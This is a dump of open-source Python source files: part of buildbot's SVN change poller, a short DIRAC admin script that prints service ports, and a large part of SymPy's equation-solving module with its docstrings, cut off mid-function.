new_last_change: # an unmodified repository will hit this case log.msg('SVNPoller: no changes') else: for el in logentries: if last_change == int(el.getAttribute("revision")): break new_logentries.append(el) new_logentries.reverse() # return oldest first self.last_change = new_last_change log.msg('SVNPoller: _process_changes %s .. %s' % (old_last_change, new_last_change)) return new_logentries def _get_text(self, element, tag_name): try: child_nodes = element.getElementsByTagName(tag_name)[0].childNodes text = "".join([t.data for t in child_nodes]) except IndexError: text = "unknown" return text def _transform_path(self, path): if not path.startswith(self._prefix): log.msg(format="SVNPoller: ignoring path '%(path)s' which doesn't" "start with prefix '%(prefix)s'", path=path, prefix=self._prefix) return relative_path = path[len(self._prefix):] if relative_path.startswith("/"): relative_path = relative_path[1:] where = self.split_file(relative_path) # 'where' is either None, (branch, final_path) or a dict if not where: return if isinstance(where, tuple): where = dict(branch=where[0], path=where[1]) return where def create_changes(self, new_logentries): changes = [] for el in new_logentries: revision = text_type(el.getAttribute("revision")) revlink = u'' if self.revlinktmpl and revision: revlink = self.revlinktmpl % urlquote_plus(revision) revlink = text_type(revlink) log.msg("Adding change revision %s" % (revision,)) author = self._get_text(el, "author") comments = self._get_text(el, "msg") # there is a "date" field, but it provides localtime in the # repository's timezone, whereas we care about buildmaster's # localtime (since this will get used to position the boxes on # the Waterfall display, etc). So ignore the date field, and # addChange will fill in with the current time branches = {} try: pathlist = el.getElementsByTagName("paths")[0] except IndexError: # weird, we got an empty revision log.msg("ignoring commit with no paths") continue for p in pathlist.getElementsByTagName("path"): kind = p.getAttribute("kind") action = p.getAttribute("action") path = u"".join([t.data for t in p.childNodes]) if path.startswith("/"): path = path[1:] if kind == "dir" and not path.endswith("/"): path += "/" where = self._transform_path(path) # if 'where' is None, the file was outside any project that # we care about and we should ignore it if where: branch = where.get("branch", None) filename = where["path"] if branch not in branches: branches[branch] = { 'files': [], 'number_of_directories': 0} if filename == "": # root directory of branch branches[branch]['files'].append(filename) branches[branch]['number_of_directories'] += 1 elif filename.endswith("/"): # subdirectory of branch branches[branch]['files'].append(filename[:-1]) branches[branch]['number_of_directories'] += 1 else: branches[branch]['files'].append(filename) if "action" not in branches[branch]: branches[branch]['action'] = action for key in ("repository", "project", "codebase"): if key in where: branches[branch][key] = where[key] for branch in branches: action = branches[branch]['action'] files = branches[branch]['files'] number_of_directories_changed = branches[ branch]['number_of_directories'] number_of_files_changed = len(files) if (action == u'D' and number_of_directories_changed == 1 and number_of_files_changed == 1 and files[0] == ''): log.msg("Ignoring deletion of branch '%s'" % branch) else: chdict = dict( author=author, # weakly assume filenames are utf-8 files=[bytes2unicode(f, 'utf-8', 'replace') for f in files], comments=comments, revision=revision, branch=util.bytes2unicode(branch), revlink=revlink, category=self.category, repository=util.bytes2unicode( branches[branch].get('repository', self.repourl)), project=util.bytes2unicode( branches[branch].get('project', self.project)), codebase=util.bytes2unicode( branches[branch].get('codebase', None))) changes.append(chdict) return changes @defer.inlineCallbacks def submit_changes(self, changes): for chdict in changes: yield self.master.data.updates.addChange(src=u'svn', **chdict) def finished_ok(self, res): if self.cachepath: with open(self.cachepath, "w") as f: f.write(str(self.last_change)) log.msg("SVNPoller: finished polling %s" % res) return res
seankelly/buildbot
master/buildbot/changes/svnpoller.py
Python
gpl-2.0
17,861
[ "Brian" ]
d47e7247b102c5179d69339ad25ca435fa8bcf05875939a23a389882e89d5959
#!/usr/bin/env python ######################################################################## # $HeadURL$ # File : dirac-admin-service-ports # Author : Stuart Paterson ######################################################################## """ Print the service ports for the specified setup """ from __future__ import print_function __RCSID__ = "$Id$" import DIRAC from DIRAC.Core.Base import Script Script.setUsageMessage( '\n'.join( [ __doc__.split( '\n' )[1], 'Usage:', ' %s [option|cfgfile] ... [Setup]' % Script.scriptName, 'Arguments:', ' Setup: Name of the setup' ] ) ) Script.parseCommandLine( ignoreErrors = True ) args = Script.getPositionalArgs() setup = '' if args: setup = args[0] from DIRAC.Interfaces.API.DiracAdmin import DiracAdmin diracAdmin = DiracAdmin() result = diracAdmin.getServicePorts( setup, printOutput = True ) if result['OK']: DIRAC.exit( 0 ) else: print(result['Message']) DIRAC.exit( 2 )
fstagni/DIRAC
Interfaces/scripts/dirac-admin-service-ports.py
Python
gpl-3.0
1,118
[ "DIRAC" ]
7096d5bc9fc7ed1d736f54cdd5e38f9bd1d6b3690c7722086bbd8e42d1b684ea
""" This module contain solvers for all kinds of equations: - algebraic or transcendental, use solve() - recurrence, use rsolve() - differential, use dsolve() - nonlinear (numerically), use nsolve() (you will need a good starting point) """ from __future__ import print_function, division from sympy.core.compatibility import (iterable, is_sequence, ordered, default_sort_key, range) from sympy.core.sympify import sympify from sympy.core import S, Add, Symbol, Equality, Dummy, Expr, Mul, Pow from sympy.core.exprtools import factor_terms from sympy.core.function import (expand_mul, expand_multinomial, expand_log, Derivative, AppliedUndef, UndefinedFunction, nfloat, Function, expand_power_exp, Lambda, _mexpand) from sympy.integrals.integrals import Integral from sympy.core.numbers import ilcm, Float from sympy.core.relational import Relational, Ge from sympy.core.logic import fuzzy_not from sympy.logic.boolalg import And, Or, BooleanAtom from sympy.core.basic import preorder_traversal from sympy.functions import (log, exp, LambertW, cos, sin, tan, acos, asin, atan, Abs, re, im, arg, sqrt, atan2) from sympy.functions.elementary.trigonometric import (TrigonometricFunction, HyperbolicFunction) from sympy.simplify import (simplify, collect, powsimp, posify, powdenest, nsimplify, denom, logcombine) from sympy.simplify.sqrtdenest import sqrt_depth from sympy.simplify.fu import TR1 from sympy.matrices import Matrix, zeros from sympy.polys import roots, cancel, factor, Poly, together, degree from sympy.polys.polyerrors import GeneratorsNeeded, PolynomialError from sympy.functions.elementary.piecewise import piecewise_fold, Piecewise from sympy.utilities.lambdify import lambdify from sympy.utilities.misc import filldedent from sympy.utilities.iterables import uniq, generate_bell, flatten from mpmath import findroot from sympy.solvers.polysys import solve_poly_system from sympy.solvers.inequalities import reduce_inequalities from types import GeneratorType from collections import defaultdict import warnings def _ispow(e): """Return True if e is a Pow or is exp.""" return isinstance(e, Expr) and (e.is_Pow or e.func is exp) def _simple_dens(f, symbols): # when checking if a denominator is zero, we can just check the # base of powers with nonzero exponents since if the base is zero # the power will be zero, too. To keep it simple and fast, we # limit simplification to exponents that are Numbers dens = set() for d in denoms(f, symbols): if d.is_Pow and d.exp.is_Number: if d.exp.is_zero: continue # foo**0 is never 0 d = d.base dens.add(d) return dens def denoms(eq, symbols=None): """Return (recursively) set of all denominators that appear in eq that contain any symbol in iterable ``symbols``; if ``symbols`` is None (default) then all denominators will be returned. Examples ======== >>> from sympy.solvers.solvers import denoms >>> from sympy.abc import x, y, z >>> from sympy import sqrt >>> denoms(x/y) set([y]) >>> denoms(x/(y*z)) set([y, z]) >>> denoms(3/x + y/z) set([x, z]) >>> denoms(x/2 + y/z) set([2, z]) """ pot = preorder_traversal(eq) dens = set() for p in pot: den = denom(p) if den is S.One: continue for d in Mul.make_args(den): dens.add(d) if not symbols: return dens rv = [] for d in dens: free = d.free_symbols if any(s in free for s in symbols): rv.append(d) return set(rv) def checksol(f, symbol, sol=None, **flags): """Checks whether sol is a solution of equation f == 0. Input can be either a single symbol and corresponding value or a dictionary of symbols and values. When given as a dictionary and flag ``simplify=True``, the values in the dictionary will be simplified. ``f`` can be a single equation or an iterable of equations. A solution must satisfy all equations in ``f`` to be considered valid; if a solution does not satisfy any equation, False is returned; if one or more checks are inconclusive (and none are False) then None is returned. Examples ======== >>> from sympy import symbols >>> from sympy.solvers import checksol >>> x, y = symbols('x,y') >>> checksol(x**4 - 1, x, 1) True >>> checksol(x**4 - 1, x, 0) False >>> checksol(x**2 + y**2 - 5**2, {x: 3, y: 4}) True To check if an expression is zero using checksol, pass it as ``f`` and send an empty dictionary for ``symbol``: >>> checksol(x**2 + x - x*(x + 1), {}) True None is returned if checksol() could not conclude. flags: 'numerical=True (default)' do a fast numerical check if ``f`` has only one symbol. 'minimal=True (default is False)' a very fast, minimal testing. 'warn=True (default is False)' show a warning if checksol() could not conclude. 'simplify=True (default)' simplify solution before substituting into function and simplify the function before trying specific simplifications 'force=True (default is False)' make positive all symbols without assumptions regarding sign. """ from sympy.physics.units import Unit minimal = flags.get('minimal', False) if sol is not None: sol = {symbol: sol} elif isinstance(symbol, dict): sol = symbol else: msg = 'Expecting (sym, val) or ({sym: val}, None) but got (%s, %s)' raise ValueError(msg % (symbol, sol)) if iterable(f): if not f: raise ValueError('no functions to check') rv = True for fi in f: check = checksol(fi, sol, **flags) if check: continue if check is False: return False rv = None # don't return, wait to see if there's a False return rv if isinstance(f, Poly): f = f.as_expr() elif isinstance(f, Equality): f = f.lhs - f.rhs if not f: return True if sol and not f.has(*list(sol.keys())): # if f(y) == 0, x=3 does not set f(y) to zero...nor does it not return None illegal = set([S.NaN, S.ComplexInfinity, S.Infinity, S.NegativeInfinity]) if any(sympify(v).atoms() & illegal for k, v in sol.items()): return False was = f attempt = -1 numerical = flags.get('numerical', True) while 1: attempt += 1 if attempt == 0: val = f.subs(sol) if isinstance(val, Mul): val = val.as_independent(Unit)[0] if val.atoms() & illegal: return False elif attempt == 1: if val.free_symbols: if not val.is_constant(*list(sol.keys()), simplify=not minimal): return False # there are free symbols -- simple expansion might work _, val = val.as_content_primitive() val = expand_mul(expand_multinomial(val)) elif attempt == 2: if minimal: return if flags.get('simplify', True): for k in sol: sol[k] = simplify(sol[k]) # start over without the failed expanded form, possibly # with a simplified solution val = f.subs(sol) if flags.get('force', True): val, reps = posify(val) # expansion may work now, so try again and check exval = expand_mul(expand_multinomial(val)) if exval.is_number or not exval.free_symbols: # we can decide now val = exval elif attempt == 3: val = powsimp(val) elif attempt == 4: val = cancel(val) elif attempt == 5: val = val.expand() elif attempt == 6: val = together(val) elif attempt == 7: val = powsimp(val) else: # if there are no radicals and no functions then this can't be # zero anymore -- can it? pot = preorder_traversal(expand_mul(val)) seen = set() saw_pow_func = False for p in pot: if p in seen: continue seen.add(p) if p.is_Pow and not p.exp.is_Integer: saw_pow_func = True elif p.is_Function: saw_pow_func = True elif isinstance(p, UndefinedFunction): saw_pow_func = True if saw_pow_func: break if saw_pow_func is False: return False if flags.get('force', True): # don't do a zero check with the positive assumptions in place val = val.subs(reps) nz = fuzzy_not(val.is_zero) if nz is not None: # issue 5673: nz may be True even when False # so these are just hacks to keep a false positive # from being returned # HACK 1: LambertW (issue 5673) if val.is_number and val.has(LambertW): # don't eval this to verify solution since if we got here, # numerical must be False return None # add other HACKs here if necessary, otherwise we assume # the nz value is correct return not nz break if val == was: continue elif val.is_Rational: return val == 0 if numerical and not val.free_symbols: return bool(abs(val.n(18).n(12, chop=True)) < 1e-9) was = val if flags.get('warn', False): warnings.warn("\n\tWarning: could not verify solution %s." % sol) # returns None if it can't conclude # TODO: improve solution testing def check_assumptions(expr, **assumptions): """Checks whether expression `expr` satisfies all assumptions. `assumptions` is a dict of assumptions: {'assumption': True|False, ...}. Examples ======== >>> from sympy import Symbol, pi, I, exp >>> from sympy.solvers.solvers import check_assumptions >>> check_assumptions(-5, integer=True) True >>> check_assumptions(pi, real=True, integer=False) True >>> check_assumptions(pi, real=True, negative=True) False >>> check_assumptions(exp(I*pi/7), real=False) True >>> x = Symbol('x', real=True, positive=True) >>> check_assumptions(2*x + 1, real=True, positive=True) True >>> check_assumptions(-2*x - 5, real=True, positive=True) False `None` is returned if check_assumptions() could not conclude. >>> check_assumptions(2*x - 1, real=True, positive=True) >>> z = Symbol('z') >>> check_assumptions(z, real=True) """ expr = sympify(expr) result = True for key, expected in assumptions.items(): if expected is None: continue test = getattr(expr, 'is_' + key, None) if test is expected: continue elif test is not None: return False result = None # Can't conclude, unless an other test fails. return result def solve(f, *symbols, **flags): """ Algebraically solves equations and systems of equations. Currently supported are: - polynomial, - transcendental - piecewise combinations of the above - systems of linear and polynomial equations - sytems containing relational expressions. Input is formed as: * f - a single Expr or Poly that must be zero, - an Equality - a Relational expression or boolean - iterable of one or more of the above * symbols (object(s) to solve for) specified as - none given (other non-numeric objects will be used) - single symbol - denested list of symbols e.g. solve(f, x, y) - ordered iterable of symbols e.g. solve(f, [x, y]) * flags 'dict'=True (default is False) return list (perhaps empty) of solution mappings 'set'=True (default is False) return list of symbols and set of tuple(s) of solution(s) 'exclude=[] (default)' don't try to solve for any of the free symbols in exclude; if expressions are given, the free symbols in them will be extracted automatically. 'check=True (default)' If False, don't do any testing of solutions. This can be useful if one wants to include solutions that make any denominator zero. 'numerical=True (default)' do a fast numerical check if ``f`` has only one symbol. 'minimal=True (default is False)' a very fast, minimal testing. 'warn=True (default is False)' show a warning if checksol() could not conclude. 'simplify=True (default)' simplify all but polynomials of order 3 or greater before returning them and (if check is not False) use the general simplify function on the solutions and the expression obtained when they are substituted into the function which should be zero 'force=True (default is False)' make positive all symbols without assumptions regarding sign. 'rational=True (default)' recast Floats as Rational; if this option is not used, the system containing floats may fail to solve because of issues with polys. If rational=None, Floats will be recast as rationals but the answer will be recast as Floats. If the flag is False then nothing will be done to the Floats. 'manual=True (default is False)' do not use the polys/matrix method to solve a system of equations, solve them one at a time as you might "manually" 'implicit=True (default is False)' allows solve to return a solution for a pattern in terms of other functions that contain that pattern; this is only needed if the pattern is inside of some invertible function like cos, exp, .... 'particular=True (default is False)' instructs solve to try to find a particular solution to a linear system with as many zeros as possible; this is very expensive 'quick=True (default is False)' when using particular=True, use a fast heuristic instead to find a solution with many zeros (instead of using the very slow method guaranteed to find the largest number of zeros possible) 'cubics=True (default)' return explicit solutions when cubic expressions are encountered 'quartics=True (default)' return explicit solutions when quartic expressions are encountered 'quintics=True (default)' return explicit solutions (if possible) when quintic expressions are encountered Examples ======== The output varies according to the input and can be seen by example:: >>> from sympy import solve, Poly, Eq, Function, exp >>> from sympy.abc import x, y, z, a, b >>> f = Function('f') * boolean or univariate Relational >>> solve(x < 3) And(-oo < x, x < 3) * to always get a list of solution mappings, use flag dict=True >>> solve(x - 3, dict=True) [{x: 3}] >>> solve([x - 3, y - 1], dict=True) [{x: 3, y: 1}] * to get a list of symbols and set of solution(s) use flag set=True >>> solve([x**2 - 3, y - 1], set=True) ([x, y], set([(-sqrt(3), 1), (sqrt(3), 1)])) * single expression and single symbol that is in the expression >>> solve(x - y, x) [y] >>> solve(x - 3, x) [3] >>> solve(Eq(x, 3), x) [3] >>> solve(Poly(x - 3), x) [3] >>> solve(x**2 - y**2, x, set=True) ([x], set([(-y,), (y,)])) >>> solve(x**4 - 1, x, set=True) ([x], set([(-1,), (1,), (-I,), (I,)])) * single expression with no symbol that is in the expression >>> solve(3, x) [] >>> solve(x - 3, y) [] * single expression with no symbol given In this case, all free symbols will be selected as potential symbols to solve for. If the equation is univariate then a list of solutions is returned; otherwise -- as is the case when symbols are given as an iterable of length > 1 -- a list of mappings will be returned. >>> solve(x - 3) [3] >>> solve(x**2 - y**2) [{x: -y}, {x: y}] >>> solve(z**2*x**2 - z**2*y**2) [{x: -y}, {x: y}, {z: 0}] >>> solve(z**2*x - z**2*y**2) [{x: y**2}, {z: 0}] * when an object other than a Symbol is given as a symbol, it is isolated algebraically and an implicit solution may be obtained. This is mostly provided as a convenience to save one from replacing the object with a Symbol and solving for that Symbol. It will only work if the specified object can be replaced with a Symbol using the subs method. >>> solve(f(x) - x, f(x)) [x] >>> solve(f(x).diff(x) - f(x) - x, f(x).diff(x)) [x + f(x)] >>> solve(f(x).diff(x) - f(x) - x, f(x)) [-x + Derivative(f(x), x)] >>> solve(x + exp(x)**2, exp(x), set=True) ([exp(x)], set([(-sqrt(-x),), (sqrt(-x),)])) >>> from sympy import Indexed, IndexedBase, Tuple, sqrt >>> A = IndexedBase('A') >>> eqs = Tuple(A[1] + A[2] - 3, A[1] - A[2] + 1) >>> solve(eqs, eqs.atoms(Indexed)) {A[1]: 1, A[2]: 2} * To solve for a *symbol* implicitly, use 'implicit=True': >>> solve(x + exp(x), x) [-LambertW(1)] >>> solve(x + exp(x), x, implicit=True) [-exp(x)] * It is possible to solve for anything that can be targeted with subs: >>> solve(x + 2 + sqrt(3), x + 2) [-sqrt(3)] >>> solve((x + 2 + sqrt(3), x + 4 + y), y, x + 2) {y: -2 + sqrt(3), x + 2: -sqrt(3)} * Nothing heroic is done in this implicit solving so you may end up with a symbol still in the solution: >>> eqs = (x*y + 3*y + sqrt(3), x + 4 + y) >>> solve(eqs, y, x + 2) {y: -sqrt(3)/(x + 3), x + 2: (-2*x - 6 + sqrt(3))/(x + 3)} >>> solve(eqs, y*x, x) {x: -y - 4, x*y: -3*y - sqrt(3)} * if you attempt to solve for a number remember that the number you have obtained does not necessarily mean that the value is equivalent to the expression obtained: >>> solve(sqrt(2) - 1, 1) [sqrt(2)] >>> solve(x - y + 1, 1) # /!\ -1 is targeted, too [x/(y - 1)] >>> [_.subs(z, -1) for _ in solve((x - y + 1).subs(-1, z), 1)] [-x + y] * To solve for a function within a derivative, use dsolve. * single expression and more than 1 symbol * when there is a linear solution >>> solve(x - y**2, x, y) [{x: y**2}] >>> solve(x**2 - y, x, y) [{y: x**2}] * when undetermined coefficients are identified * that are linear >>> solve((a + b)*x - b + 2, a, b) {a: -2, b: 2} * that are nonlinear >>> solve((a + b)*x - b**2 + 2, a, b, set=True) ([a, b], set([(-sqrt(2), sqrt(2)), (sqrt(2), -sqrt(2))])) * if there is no linear solution then the first successful attempt for a nonlinear solution will be returned >>> solve(x**2 - y**2, x, y) [{x: -y}, {x: y}] >>> solve(x**2 - y**2/exp(x), x, y) [{x: 2*LambertW(y/2)}] >>> solve(x**2 - y**2/exp(x), y, x) [{y: -x*sqrt(exp(x))}, {y: x*sqrt(exp(x))}] * iterable of one or more of the above * involving relationals or bools >>> solve([x < 3, x - 2]) Eq(x, 2) >>> solve([x > 3, x - 2]) False * when the system is linear * with a solution >>> solve([x - 3], x) {x: 3} >>> solve((x + 5*y - 2, -3*x + 6*y - 15), x, y) {x: -3, y: 1} >>> solve((x + 5*y - 2, -3*x + 6*y - 15), x, y, z) {x: -3, y: 1} >>> solve((x + 5*y - 2, -3*x + 6*y - z), z, x, y) {x: -5*y + 2, z: 21*y - 6} * without a solution >>> solve([x + 3, x - 3]) [] * when the system is not linear >>> solve([x**2 + y -2, y**2 - 4], x, y, set=True) ([x, y], set([(-2, -2), (0, 2), (2, -2)])) * if no symbols are given, all free symbols will be selected and a list of mappings returned >>> solve([x - 2, x**2 + y]) [{x: 2, y: -4}] >>> solve([x - 2, x**2 + f(x)], set([f(x), x])) [{x: 2, f(x): -4}] * if any equation doesn't depend on the symbol(s) given it will be eliminated from the equation set and an answer may be given implicitly in terms of variables that were not of interest >>> solve([x - y, y - 3], x) {x: y} Notes ===== solve() with check=True (default) will run through the symbol tags to elimate unwanted solutions. If no assumptions are included all possible solutions will be returned. >>> from sympy import Symbol, solve >>> x = Symbol("x") >>> solve(x**2 - 1) [-1, 1] By using the positive tag only one solution will be returned: >>> pos = Symbol("pos", positive=True) >>> solve(pos**2 - 1) [1] Assumptions aren't checked when `solve()` input involves relationals or bools. When the solutions are checked, those that make any denominator zero are automatically excluded. If you do not want to exclude such solutions then use the check=False option: >>> from sympy import sin, limit >>> solve(sin(x)/x) # 0 is excluded [pi] If check=False then a solution to the numerator being zero is found: x = 0. In this case, this is a spurious solution since sin(x)/x has the well known limit (without dicontinuity) of 1 at x = 0: >>> solve(sin(x)/x, check=False) [0, pi] In the following case, however, the limit exists and is equal to the the value of x = 0 that is excluded when check=True: >>> eq = x**2*(1/x - z**2/x) >>> solve(eq, x) [] >>> solve(eq, x, check=False) [0] >>> limit(eq, x, 0, '-') 0 >>> limit(eq, x, 0, '+') 0 Disabling high-order, explicit solutions ---------------------------------------- When solving polynomial expressions, one might not want explicit solutions (which can be quite long). If the expression is univariate, CRootOf instances will be returned instead: >>> solve(x**3 - x + 1) [-1/((-1/2 - sqrt(3)*I/2)*(3*sqrt(69)/2 + 27/2)**(1/3)) - (-1/2 - sqrt(3)*I/2)*(3*sqrt(69)/2 + 27/2)**(1/3)/3, -(-1/2 + sqrt(3)*I/2)*(3*sqrt(69)/2 + 27/2)**(1/3)/3 - 1/((-1/2 + sqrt(3)*I/2)*(3*sqrt(69)/2 + 27/2)**(1/3)), -(3*sqrt(69)/2 + 27/2)**(1/3)/3 - 1/(3*sqrt(69)/2 + 27/2)**(1/3)] >>> solve(x**3 - x + 1, cubics=False) [CRootOf(x**3 - x + 1, 0), CRootOf(x**3 - x + 1, 1), CRootOf(x**3 - x + 1, 2)] If the expression is multivariate, no solution might be returned: >>> solve(x**3 - x + a, x, cubics=False) [] Sometimes solutions will be obtained even when a flag is False because the expression could be factored. In the following example, the equation can be factored as the product of a linear and a quadratic factor so explicit solutions (which did not require solving a cubic expression) are obtained: >>> eq = x**3 + 3*x**2 + x - 1 >>> solve(eq, cubics=False) [-1, -1 + sqrt(2), -sqrt(2) - 1] Solving equations involving radicals ------------------------------------ Because of SymPy's use of the principle root (issue #8789), some solutions to radical equations will be missed unless check=False: >>> from sympy import root >>> eq = root(x**3 - 3*x**2, 3) + 1 - x >>> solve(eq) [] >>> solve(eq, check=False) [1/3] In the above example there is only a single solution to the equation. Other expressions will yield spurious roots which must be checked manually; roots which give a negative argument to odd-powered radicals will also need special checking: >>> from sympy import real_root, S >>> eq = root(x, 3) - root(x, 5) + S(1)/7 >>> solve(eq) # this gives 2 solutions but misses a 3rd [CRootOf(7*_p**5 - 7*_p**3 + 1, 1)**15, CRootOf(7*_p**5 - 7*_p**3 + 1, 2)**15] >>> sol = solve(eq, check=False) >>> [abs(eq.subs(x,i).n(2)) for i in sol] [0.48, 0.e-110, 0.e-110, 0.052, 0.052] The first solution is negative so real_root must be used to see that it satisfies the expression: >>> abs(real_root(eq.subs(x, sol[0])).n(2)) 0.e-110 If the roots of the equation are not real then more care will be necessary to find the roots, especially for higher order equations. Consider the following expression: >>> expr = root(x, 3) - root(x, 5) We will construct a known value for this expression at x = 3 by selecting the 1-th root for each radical: >>> expr1 = root(x, 3, 1) - root(x, 5, 1) >>> v = expr1.subs(x, -3) The solve function is unable to find any exact roots to this equation: >>> eq = Eq(expr, v); eq1 = Eq(expr1, v) >>> solve(eq, check=False), solve(eq1, check=False) ([], []) The function unrad, however, can be used to get a form of the equation for which numerical roots can be found: >>> from sympy.solvers.solvers import unrad >>> from sympy import nroots >>> e, (p, cov) = unrad(eq) >>> pvals = nroots(e) >>> inversion = solve(cov, x)[0] >>> xvals = [inversion.subs(p, i) for i in pvals] Although eq or eq1 could have been used to find xvals, the solution can only be verified with expr1: >>> z = expr - v >>> [xi.n(chop=1e-9) for xi in xvals if abs(z.subs(x, xi).n()) < 1e-9] [] >>> z1 = expr1 - v >>> [xi.n(chop=1e-9) for xi in xvals if abs(z1.subs(x, xi).n()) < 1e-9] [-3.0] See Also ======== - rsolve() for solving recurrence relationships - dsolve() for solving differential equations """ # keeping track of how f was passed since if it is a list # a dictionary of results will be returned. ########################################################################### def _sympified_list(w): return list(map(sympify, w if iterable(w) else [w])) bare_f = not iterable(f) ordered_symbols = (symbols and symbols[0] and (isinstance(symbols[0], Symbol) or is_sequence(symbols[0], include=GeneratorType) ) ) f, symbols = (_sympified_list(w) for w in [f, symbols]) implicit = flags.get('implicit', False) # preprocess equation(s) ########################################################################### for i, fi in enumerate(f): if isinstance(fi, Equality): if 'ImmutableMatrix' in [type(a).__name__ for a in fi.args]: f[i] = fi.lhs - fi.rhs else: f[i] = Add(fi.lhs, -fi.rhs, evaluate=False) elif isinstance(fi, Poly): f[i] = fi.as_expr() elif isinstance(fi, (bool, BooleanAtom)) or fi.is_Relational: return reduce_inequalities(f, symbols=symbols) # rewrite hyperbolics in terms of exp f[i] = f[i].replace(lambda w: isinstance(w, HyperbolicFunction), lambda w: w.rewrite(exp)) # if we have a Matrix, we need to iterate over its elements again if f[i].is_Matrix: bare_f = False f.extend(list(f[i])) f[i] = S.Zero # if we can split it into real and imaginary parts then do so freei = f[i].free_symbols if freei and all(s.is_real or s.is_imaginary for s in freei): fr, fi = f[i].as_real_imag() # accept as long as new re, im, arg or atan2 are not introduced had = f[i].atoms(re, im, arg, atan2) if fr and fi and fr != fi and not any( i.atoms(re, im, arg, atan2) - had for i in (fr, fi)): if bare_f: bare_f = False f[i: i + 1] = [fr, fi] # preprocess symbol(s) ########################################################################### if not symbols: # get symbols from equations symbols = set().union(*[fi.free_symbols for fi in f]) if len(symbols) < len(f): for fi in f: pot = preorder_traversal(fi) for p in pot: if not (p.is_number or p.is_Add or p.is_Mul) or \ isinstance(p, AppliedUndef): flags['dict'] = True # better show symbols symbols.add(p) pot.skip() # don't go any deeper symbols = list(symbols) # supply dummy symbols so solve(3) behaves like solve(3, x) for i in range(len(f) - len(symbols)): symbols.append(Dummy()) ordered_symbols = False elif len(symbols) == 1 and iterable(symbols[0]): symbols = symbols[0] # remove symbols the user is not interested in exclude = flags.pop('exclude', set()) if exclude: if isinstance(exclude, Expr): exclude = [exclude] exclude = set().union(*[e.free_symbols for e in sympify(exclude)]) symbols = [s for s in symbols if s not in exclude] # real/imag handling ----------------------------- w = Dummy('w') piece = Lambda(w, Piecewise((w, Ge(w, 0)), (-w, True))) for i, fi in enumerate(f): # Abs reps = [] for a in fi.atoms(Abs): if not a.has(*symbols): continue if a.args[0].is_real is None: raise NotImplementedError('solving %s when the argument ' 'is not real or imaginary.' % a) reps.append((a, piece(a.args[0]) if a.args[0].is_real else \ piece(a.args[0]*S.ImaginaryUnit))) fi = fi.subs(reps) # arg _arg = [a for a in fi.atoms(arg) if a.has(*symbols)] fi = fi.xreplace(dict(list(zip(_arg, [atan(im(a.args[0])/re(a.args[0])) for a in _arg])))) # save changes f[i] = fi # see if re(s) or im(s) appear irf = [] for s in symbols: if s.is_real or s.is_imaginary: continue # neither re(x) nor im(x) will appear # if re(s) or im(s) appear, the auxiliary equation must be present if any(fi.has(re(s), im(s)) for fi in f): irf.append((s, re(s) + S.ImaginaryUnit*im(s))) if irf: for s, rhs in irf: for i, fi in enumerate(f): f[i] = fi.xreplace({s: rhs}) f.append(s - rhs) symbols.extend([re(s), im(s)]) if bare_f: bare_f = False flags['dict'] = True # end of real/imag handling ----------------------------- symbols = list(uniq(symbols)) if not ordered_symbols: # we do this to make the results returned canonical in case f # contains a system of nonlinear equations; all other cases should # be unambiguous symbols = sorted(symbols, key=default_sort_key) # we can solve for non-symbol entities by replacing them with Dummy symbols symbols_new = [] symbol_swapped = False for i, s in enumerate(symbols): if s.is_Symbol: s_new = s else: symbol_swapped = True s_new = Dummy('X%d' % i) symbols_new.append(s_new) if symbol_swapped: swap_sym = list(zip(symbols, symbols_new)) f = [fi.subs(swap_sym) for fi in f] symbols = symbols_new swap_sym = dict([(v, k) for k, v in swap_sym]) else: swap_sym = {} # this is needed in the next two events symset = set(symbols) # get rid of equations that have no symbols of interest; we don't # try to solve them because the user didn't ask and they might be # hard to solve; this means that solutions may be given in terms # of the eliminated equations e.g. solve((x-y, y-3), x) -> {x: y} newf = [] for fi in f: # let the solver handle equations that.. # - have no symbols but are expressions # - have symbols of interest # - have no symbols of interest but are constant # but when an expression is not constant and has no symbols of # interest, it can't change what we obtain for a solution from # the remaining equations so we don't include it; and if it's # zero it can be removed and if it's not zero, there is no # solution for the equation set as a whole # # The reason for doing this filtering is to allow an answer # to be obtained to queries like solve((x - y, y), x); without # this mod the return value is [] ok = False if fi.has(*symset): ok = True else: free = fi.free_symbols if not free: if fi.is_Number: if fi.is_zero: continue return [] ok = True else: if fi.is_constant(): ok = True if ok: newf.append(fi) if not newf: return [] f = newf del newf # mask off any Object that we aren't going to invert: Derivative, # Integral, etc... so that solving for anything that they contain will # give an implicit solution seen = set() non_inverts = set() for fi in f: pot = preorder_traversal(fi) for p in pot: if not isinstance(p, Expr) or isinstance(p, Piecewise): pass elif (isinstance(p, bool) or not p.args or p in symset or p.is_Add or p.is_Mul or p.is_Pow and not implicit or p.is_Function and not implicit) and p.func not in (re, im): continue elif not p in seen: seen.add(p) if p.free_symbols & symset: non_inverts.add(p) else: continue pot.skip() del seen non_inverts = dict(list(zip(non_inverts, [Dummy() for d in non_inverts]))) f = [fi.subs(non_inverts) for fi in f] non_inverts = [(v, k.subs(swap_sym)) for k, v in non_inverts.items()] # rationalize Floats floats = False if flags.get('rational', True) is not False: for i, fi in enumerate(f): if fi.has(Float): floats = True f[i] = nsimplify(fi, rational=True) # Any embedded piecewise functions need to be brought out to the # top level so that the appropriate strategy gets selected. # However, this is necessary only if one of the piecewise # functions depends on one of the symbols we are solving for. def _has_piecewise(e): if e.is_Piecewise: return e.has(*symbols) return any([_has_piecewise(a) for a in e.args]) for i, fi in enumerate(f): if _has_piecewise(fi): f[i] = piecewise_fold(fi) # # try to get a solution ########################################################################### if bare_f: solution = _solve(f[0], *symbols, **flags) else: solution = _solve_system(f, symbols, **flags) # # postprocessing ########################################################################### # Restore masked-off objects if non_inverts: def _do_dict(solution): return dict([(k, v.subs(non_inverts)) for k, v in solution.items()]) for i in range(1): if type(solution) is dict: solution = _do_dict(solution) break elif solution and type(solution) is list: if type(solution[0]) is dict: solution = [_do_dict(s) for s in solution] break elif type(solution[0]) is tuple: solution = [tuple([v.subs(non_inverts) for v in s]) for s in solution] break else: solution = [v.subs(non_inverts) for v in solution] break elif not solution: break else: raise NotImplementedError(filldedent(''' no handling of %s was implemented''' % solution)) # Restore original "symbols" if a dictionary is returned. # This is not necessary for # - the single univariate equation case # since the symbol will have been removed from the solution; # - the nonlinear poly_system since that only supports zero-dimensional # systems and those results come back as a list # # ** unless there were Derivatives with the symbols, but those were handled # above. if symbol_swapped: symbols = [swap_sym[k] for k in symbols] if type(solution) is dict: solution = dict([(swap_sym[k], v.subs(swap_sym)) for k, v in solution.items()]) elif solution and type(solution) is list and type(solution[0]) is dict: for i, sol in enumerate(solution): solution[i] = 